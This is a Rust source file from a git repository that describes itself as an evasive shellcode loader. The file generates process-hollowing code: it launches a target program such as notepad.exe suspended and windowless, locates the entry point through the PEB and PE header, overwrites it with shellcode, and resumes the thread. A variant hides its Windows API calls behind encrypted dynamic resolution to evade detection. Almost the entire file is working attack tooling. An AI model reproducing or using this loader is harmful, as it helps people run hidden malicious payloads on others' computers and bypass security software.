myph-v2.git


myph-v2

~ rust shellcode loader with evasive capabilities
git clone https://github.com/djnnvx/myph-v2.git
log | files | refs | archive | README

process_hollowing.rs (11212B)

      1 use super::super::{process_helpers, windows_types};
      2 use super::common;
      3 
      4 pub fn process_hollowing_import() -> String {
      5     process_helpers::process_creation_imports().to_string()
      6 }
      7 
      8 pub fn process_hollowing_const() -> String {
      9     format!(
     10         r#"
     11 {}
     12 
     13 {}
     14 
     15 {}
     16 
     17 #[link(name = "kernel32")]
     18 extern "system" {{
     19 {}
     20 
     21 {}
     22 }}
     23 
     24 #[link(name = "ntdll")]
     25 extern "system" {{
     26 {}
     27 }}
     28 "#,
     29         common::COMMON_PROCESS_CONSTANTS,
     30         windows_types::process_structures(),
     31         common::process_basic_information_struct(),
     32         common::common_process_injection_externs(),
     33         common::common_process_hollowing_externs(),
     34         common::common_ntdll_externs(),
     35     )
     36 }
     37 
     38 pub fn process_hollowing_init() -> String {
     39     format!(
     40         r#"
     41 fn create_process(process_name: &str) -> ProcessInformation {{
     42     {}
     43 
     44     {}
     45 
     46     {}
     47 
     48     unsafe {{
     49         let result = CreateProcessW(
     50             ptr::null(),
     51             command_line.as_mut_ptr(),
     52             ptr::null(),
     53             ptr::null(),
     54             0,
     55             CREATE_SUSPENDED | CREATE_NO_WINDOW,
     56             ptr::null(),
     57             ptr::null(),
     58             &si,
     59             &mut pi,
     60         );
     61 
     62         if result == 0 {{
     63             panic!("failed");
     64         }}
     65     }}
     66 
     67     pi
     68 }}
     69 "#,
     70         windows_types::init_startup_info_w(),
     71         windows_types::init_process_information(),
     72         process_helpers::command_line_conversion("process_name")
     73     )
     74 }
     75 
     76 pub fn process_hollowing_process() -> String {
     77     r#"
     78     let process = create_process("__PROCESS__");
     79     let p_handle = process.process;
     80     let t_handle = process.thread;
     81 
     82     unsafe {
     83         let mut basic_info = ProcessBasicInformation {
     84             reserved1: 0,
     85             peb_address: 0,
     86             reserved2: 0,
     87             reserved3: 0,
     88             unique_pid: 0,
     89             more_reserved: 0,
     90         };
     91         let mut unused_tmp_value: u32 = 0;
     92 
     93         // Get Process Environment Block (PEB)
     94         let r = ZwQueryInformationProcess(
     95             p_handle,
     96             0,
     97             &mut basic_info,
     98             (std::mem::size_of::<usize>() * 6) as u32,
     99             &mut unused_tmp_value,
    100         );
    101 
    102         if r != 0 {
    103             panic!("failed");
    104         }
    105 
    106         // Query PEB for ImageBaseAddress
    107         let image_base_address = basic_info.peb_address + 0x10;
    108 
    109         // Get entry point of the actual process executable
    110         // This one is a bit complicated, because this address differs for each process (due to ASLR)
    111         // From the PEB (address we got in last call), we have to do the following:
    112         // 1. Read executable address from first 8 bytes of PEB and read data chunk for further processing
    113         // 2. Read the field 'e_lfanew', 4 bytes at offset 0x3C from executable address to get the offset for the PE header
    114         // 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint RVA offset
    115         // 4. Read the value at the RVA offset address to get the offset of the executable entrypoint from the executable address
    116         // 5. Get the absolute address of the entrypoint by adding this value to the base executable address
    117 
    118         // 1. Read executable address from first 8 bytes of PEB
    119         let mut proc_addr = [0u8; 8];
    120         let mut read: usize = 0;
    121 
    122         let r = ReadProcessMemory(
    123             p_handle,
    124             image_base_address,
    125             proc_addr.as_mut_ptr(),
    126             proc_addr.len(),
    127             &mut read,
    128         );
    129 
    130         if r == 0 {
    131             panic!("failed");
    132         }
    133 
    134         let exe_base_addr = u64::from_le_bytes(proc_addr);
    135 
    136         // Read PE header
    137         let mut pe_buffer = [0u8; 0x200];
    138         let r = ReadProcessMemory(
    139             p_handle,
    140             exe_base_addr as usize,
    141             pe_buffer.as_mut_ptr(),
    142             pe_buffer.len(),
    143             &mut read,
    144         );
    145 
    146         if r == 0 {
    147             panic!("failed");
    148         }
    149 
    150         // 2. Read the field 'e_lfanew', 4 bytes at offset 0x3C to get the offset for the PE header
    151         let lfanew = u32::from_le_bytes([
    152             pe_buffer[0x3c],
    153             pe_buffer[0x3c + 1],
    154             pe_buffer[0x3c + 2],
    155             pe_buffer[0x3c + 3],
    156         ]);
    157 
    158         // 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint RVA offset
    159         let rva_offset = (lfanew + 0x28) as usize;
    160 
    161         // 4. Read the 4 bytes at the RVA offset to get the offset of the executable entrypoint
    162         let rva = u32::from_le_bytes([
    163             pe_buffer[rva_offset],
    164             pe_buffer[rva_offset + 1],
    165             pe_buffer[rva_offset + 2],
    166             pe_buffer[rva_offset + 3],
    167         ]);
    168 
    169         // 5. Get the absolute address of the entrypoint
    170         let entrypoint_address = exe_base_addr + rva as u64;
    171 
    172         // Overwrite process memory at entrypoint address
    173         let r = WriteProcessMemory(
    174             p_handle,
    175             entrypoint_address as usize as *const std::ffi::c_void,
    176             shellcode.as_ptr() as *const std::ffi::c_void,
    177             shellcode.len(),
    178             ptr::null_mut(),
    179         );
    180 
    181         if r == 0 {
    182             panic!("failed");
    183         }
    184 
    185         // Trigger shellcode execution
    186         let r = ResumeThread(t_handle);
    187         if r == 0xFFFFFFFF {
    188             panic!("failed");
    189         }
    190     }
    191 "#
    192     .to_string()
    193 }
    194 
    195 fn generate_process_hollowing_template(target_process: &str, function_name: &str) -> String {
    196     let template = super::common::TechniqueTemplateBuilder::new()
    197         .with_import(process_hollowing_import())
    198         .with_const(process_hollowing_const())
    199         .with_init(process_hollowing_init())
    200         .with_process(process_hollowing_process())
    201         .build(function_name);
    202 
    203     template.replace("__PROCESS__", target_process)
    204 }
    205 
    206 pub fn generate_process_hollowing_code(target_process: &str, function_name: &str) -> String {
    207     generate_process_hollowing_template(target_process, function_name)
    208 }
    209 
    210 pub struct ProcessHollowingGenerator;
    211 
    212 impl super::trait_generator::TechniqueGenerator for ProcessHollowingGenerator {
    213     fn generate_code(&self, process: &str, function_name: &str) -> String {
    214         generate_process_hollowing_code(process, function_name)
    215     }
    216 
    217     fn generate_code_with_dynamic_resolver(
    218         &self,
    219         process: &str,
    220         function_name: &str,
    221         encryption_type: &str,
    222         encryptor: &dyn crate::encryption::Encryptor,
    223     ) -> String {
    224         generate_process_hollowing_code_with_dynamic_resolver(
    225             process,
    226             function_name,
    227             encryption_type,
    228             encryptor,
    229         )
    230     }
    231 
    232     fn requires_process(&self) -> bool {
    233         true
    234     }
    235 
    236     fn name(&self) -> &'static str {
    237         "ProcessHollowing"
    238     }
    239 }
    240 
    241 fn generate_process_hollowing_code_with_dynamic_resolver(
    242     target_process: &str,
    243     function_name: &str,
    244     _encryption_type: &str,
    245     encryptor: &dyn crate::encryption::Encryptor,
    246 ) -> String {
    247     use super::dynamic_common::*;
    248 
    249     let create_process_w = create_process_w_resolver(encryptor).unwrap();
    250     let read_process_memory = read_process_memory_resolver(encryptor).unwrap();
    251     let write_process_memory = write_process_memory_resolver(encryptor).unwrap();
    252     let zw_query = zw_query_information_process_resolver(encryptor).unwrap();
    253     let resume_thread = resume_thread_resolver(encryptor).unwrap();
    254 
    255     let init_with_resolvers = format!(
    256         r#"
    257 {}
    258 {}
    259 {}
    260 {}
    261 {}"#,
    262         create_process_w.resolver_code,
    263         read_process_memory.resolver_code,
    264         write_process_memory.resolver_code,
    265         zw_query.resolver_code,
    266         resume_thread.resolver_code,
    267     );
    268 
    269     let casts = format!(
    270         r#"
    271 {}
    272 {}
    273 {}
    274 {}
    275 {}"#,
    276         create_process_w.cast_code,
    277         read_process_memory.cast_code,
    278         write_process_memory.cast_code,
    279         zw_query.cast_code,
    280         resume_thread.cast_code,
    281     );
    282 
    283     let process_code = process_hollowing_process()
    284         .replace("CreateProcessW(", "create_process_w(")
    285         .replace("ReadProcessMemory(", "read_process_memory(")
    286         .replace("WriteProcessMemory(", "write_process_memory(")
    287         .replace(
    288             "ZwQueryInformationProcess(",
    289             "zw_query_information_process(",
    290         )
    291         .replace("ResumeThread(", "resume_thread(")
    292         // Add casts for ZwQueryInformationProcess arguments
    293         .replace(
    294             "&mut basic_info,",
    295             "&mut basic_info as *mut _ as *mut std::ffi::c_void,",
    296         )
    297         // Add casts for ReadProcessMemory arguments
    298         .replace(
    299             "image_base_address,",
    300             "image_base_address as *const std::ffi::c_void,",
    301         )
    302         .replace(
    303             "exe_base_addr as usize,",
    304             "exe_base_addr as *const std::ffi::c_void,",
    305         )
    306         .replace(
    307             "proc_addr.as_mut_ptr(),",
    308             "proc_addr.as_mut_ptr() as *mut std::ffi::c_void,",
    309         )
    310         .replace(
    311             "pe_buffer.as_mut_ptr(),",
    312             "pe_buffer.as_mut_ptr() as *mut std::ffi::c_void,",
    313         )
    314         // Add casts for WriteProcessMemory arguments
    315         .replace(
    316             "entrypoint_address as usize,",
    317             "entrypoint_address as *mut std::ffi::c_void,",
    318         )
    319         .replace(
    320             "shellcode.as_ptr(),",
    321             "shellcode.as_ptr() as *const std::ffi::c_void,",
    322         )
    323         .replace(
    324             "            0,\n        );",
    325             "            ptr::null_mut(),\n        );",
    326         )
    327         // Fix mut warning
    328         .replace("let mut si = StartupInfoW {", "let si = StartupInfoW {");
    329 
    330     let full_process = format!(
    331         r#"
    332     unsafe {{
    333         {}
    334         {}
    335         {}
    336     }}
    337 "#,
    338         init_with_resolvers,
    339         casts,
    340         process_code
    341             .trim_start_matches("    unsafe {")
    342             .trim_end_matches("}")
    343             .trim()
    344     );
    345 
    346     let template = super::common::TechniqueTemplateBuilder::new()
    347         .with_import(process_hollowing_import())
    348         .with_const(process_hollowing_const())
    349         .with_init(process_hollowing_init())
    350         .with_process(full_process)
    351         .build(function_name);
    352 
    353     template.replace("__PROCESS__", target_process)
    354 }
    355 
    356 #[cfg(test)]
    357 mod tests {
    358     use super::*;
    359 
    360     #[test]
    361     fn test_generate_process_hollowing_template_replaces_process_placeholder() {
    362         let template = generate_process_hollowing_template("notepad.exe", "TestFunc");
    363         assert!(template.contains("notepad.exe"));
    364         assert!(!template.contains("__PROCESS__"));
    365     }
    366 
    367     #[test]
    368     fn test_generate_process_hollowing_template_contains_all_parts() {
    369         let template = generate_process_hollowing_template("calc.exe", "MyFunction");
    370         assert!(template.contains("use std::ptr"));
    371         assert!(template.contains("CREATE_SUSPENDED"));
    372         assert!(template.contains("fn create_process"));
    373         assert!(template.contains("fn MyFunction"));
    374         assert!(template.contains("ZwQueryInformationProcess"));
    375     }
    376 
    377     #[test]
    378     fn test_generate_process_hollowing_code() {
    379         let code = generate_process_hollowing_code("cmd.exe", "MyRandomFunc");
    380         assert!(code.contains("cmd.exe"));
    381         assert!(code.contains("fn MyRandomFunc"));
    382         assert!(!code.contains("__PROCESS__"));
    383     }
    384 }